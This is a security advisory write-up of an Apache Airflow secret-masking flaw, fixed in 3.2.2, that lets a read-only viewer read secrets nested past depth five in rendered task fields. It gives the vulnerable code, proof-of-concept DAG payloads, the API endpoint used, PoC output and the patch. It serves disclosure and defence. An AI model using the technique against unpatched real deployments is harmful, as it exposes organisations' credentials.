CVE-2026-42358

Apache Airflow's secret masker returns deep values unredacted, so a read-only viewer harvests cleartext secrets nested past depth 5

SecretsMasker._redact() short-circuits with `if depth > max_depth: return item` before either masking path runs. Any secret nested deeper than 5 levels comes back in cleartext. An authenticated viewer reads it straight out of rendered task fields (and, per Apache's advisory, out of nested JSON Variables): admin seeds a connection that the connection API correctly masks as ***, but the same secret at op_kwargs.spec.containers[0].env[0].value lands at depth 6 and ships raw. CVSS 6.5. Fixed in apache-airflow 3.2.2. Found with Ilyase Dehy.

the whole bug is four lines

Airflow has one shared redaction primitive, SecretsMasker, that every secret-bearing surface funnels through before it reaches a user. It does two jobs: key-based masking (a field literally named password, token, secret, api_key is replaced with ***) and value-based masking (any string equal to a registered secret value is replaced, whatever the field is called). Both jobs live inside one recursive walker, _redact, and that walker opens with a guard that defeats both:

This is not from memory or a git blame. I pulled it out of the running apache/airflow:3.1.8 image I tested against, airflow/_shared/secrets_masker/secrets_masker.py:

MAX_RECURSION_DEPTH = 5          # line 195
...
def _redact(self, item, name, depth, max_depth, replacement="***"):   # line ~347
    # Avoid spending too much effort on redacting on deeply nested
    # structures. This also avoid infinite recursion if a structure has
    # reference to self.
    if depth > max_depth:
        return item              # <-- returns the raw value, before any masking
    try:
        if name and self.should_hide_value_for_key(name):   # key-based masking, runs AFTER the return
            return self._redact_all(item, depth, max_depth, replacement=replacement)
        ...

The early return at if depth > max_depth: return item happens before should_hide_value_for_key(name) and before the string replacer. So the rule is brutally simple: anything nested deeper than level 5 is handed back exactly as stored. Not partially masked. Raw. The comment shows the intent was recursion safety, not a security boundary, which is exactly why the security property fell through it.

depth 5 is shallow, because lists count too

The instinct is “nobody nests secrets six deep.” But both dicts and lists increment the counter, and ordinary config blobs hit the cap almost immediately. Take the most boring realistic shape, a Kubernetes-style env var, spec.containers[0].env[0].value:

depth node type
0 top level dict
1 spec dict
2 containers list
3 container dict
4 env list
5 env entry dict
6 value string -> returned unchanged

Five containers of nesting is one env var on one container in one pod spec. The bug is not an exotic edge, it is the common case for anything that templates structured data.

where it reaches a user: rendered task fields

A task’s templated arguments are rendered, masked, and stored as rendered_fields, then served back over the REST API. Two call sites both run the same broken masker:

  1. worker-side generation: src/task-sdk/src/airflow/sdk/execution_time/task_runner.py calls redact(...) on the rendered fields.
  2. API-side persistence: src/airflow-core/src/airflow/models/renderedtifields.py calls redact(...) again before storing.

The read surface is a normal, low-privilege endpoint:

GET /api/v2/dags/{dag_id}/dagRuns/{run_id}/taskInstances/{task_id}

viewer, Airflow’s read-only role, can call it for any DAG run it can see. That is the steady state of almost every deployment.

the payloads

Three minimal DAGs, identical except for nesting depth. Each templates the same connection password with ``:

# depth 4, stays masked (baseline / negative control)
op_kwargs={"config": {"database": {"credentials": {"password": ""}}}}

# depth 6, sensitive-key bypass (key is literally "password")
op_kwargs={"config": {"services": {"database": {"primary": {"credentials": {"password": ""}}}}}}

# depth 6, K8s-shaped, the leaking field is just "value"
op_kwargs={"spec": {"containers": [{"env": [{"value": ""}]}]}}

The third one matters most. The leaking key is value, not password, which proves both masking paths fail past the cap: key-based masking never sees the password key on the deep path, and value-based masking never sees the registered secret string. The KubernetesPodOperator rendering path (pod_template_dict, env_vars) materializes inline Jinja into exactly this shape before masking, so it is the realistic surface, not a synthetic trick.

the exploit, with the negative control first

The PoC seeds with admin (lab scaffolding only: create the connection, trigger the runs) and then attacks as viewer. Phase 0 establishes that masking works where it is supposed to, so the leak is a signal you can turn off, not noise. The output below is a live run reproduced for this writeup against a fresh apache/airflow:3.1.8 Docker stack, not a copy of the original report:

PHASE 0  Connection API redacts password
[*] GET /api/v2/connections/poc_secret_db -> password=***
[+] PASS: Connection password redacted

PHASE 3  Viewer reads rendered template fields
[*] depth_bypass_baseline: viewer read op_kwargs.config.database.credentials.password -> "***"
[*] depth_bypass_exploit:  viewer read op_kwargs.config.services.database.primary.credentials.password -> "SuperSecretPassword123!"
[*] depth_bypass_k8s:      viewer read op_kwargs.spec.containers.0.env.0.value -> "SuperSecretPassword123!"
[+] PASS: Baseline depth-4 secret stays redacted for viewer
[+] PASS: Viewer sees cleartext secret at depth 6 via sensitive-key bypass
[+] PASS: Viewer sees cleartext secret at depth 6 via pattern-based K8s path

  Connection API password : ***
  Viewer depth 4          : ***
  Viewer depth 6 key path : SuperSecretPassword123!
  Viewer depth 6 K8s path : SuperSecretPassword123!

Verdict: VULNERABLE

Same secret, masked at the connection API and at depth 4, cleartext at depth 6 to a read-only user. The attacker needs no DAG-author access, no connection management, no execution rights. Any readable DAG run with stored rendered fields is a disclosure point.

what the advisory says vs what the PoC drove

The published CVE describes the Variable response masker: an authenticated user with Variable read permission harvesting plaintext from deeply nested JSON Variables, framed as a residual gap in CVE-2026-32690 (which only raised the shallow path via max_depth=1 and never moved the recursion cap itself). The submission demonstrated the same primitive through rendered task instance fields, a bypass of the rendered-template disclosure class from CVE-2025-66388. Different read surfaces, one root cause: the depth-cap early return in the shared SecretsMasker. Once you fix the masker, every surface that calls it is covered at once, which is why the patch sits in the primitive and not in any one endpoint.

the fix

Shipped in apache-airflow 3.2.2 (released 2026-05-22), PR #65912. The correct shape moves sensitive-key handling ahead of the depth guard and, once depth is exceeded, masks the subtree conservatively instead of returning it verbatim:

def _redact(self, item, name, depth, max_depth, replacement="***"):
    if name and self.should_hide_value_for_key(name):
        return self._redact_all(item, depth, max_depth, replacement=replacement)

    if depth > max_depth:
        if isinstance(item, Enum):
            item = item.value
        if _is_v1_env_var(item):
            item = item.to_dict()
        if isinstance(item, str):
            return self.replacer.sub(replacement, item) if self.replacer else replacement
        return replacement   # never hand back a raw subtree at the boundary

The principle: the depth boundary must never return a raw secret-bearing string or container. Over-redacting a deep non-secret blob is acceptable; leaking one is not. If you already upgraded for CVE-2026-32690, you still need 3.2.2, because that fix raised one path without moving the cap.

severity

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N = 6.5 Medium, CWE-200. Network-reachable over the normal API, low complexity (one authenticated read of an existing task instance), low privilege (viewer suffices), no interaction. Confidentiality High because the full secret value is disclosed, not metadata. Integrity and availability none, the demonstrated bug is read-only. Not pushed to High: it is authenticated information disclosure, not RCE or privilege escalation, and the scope stays Unchanged to match the public scoring of the predecessor CVEs.

references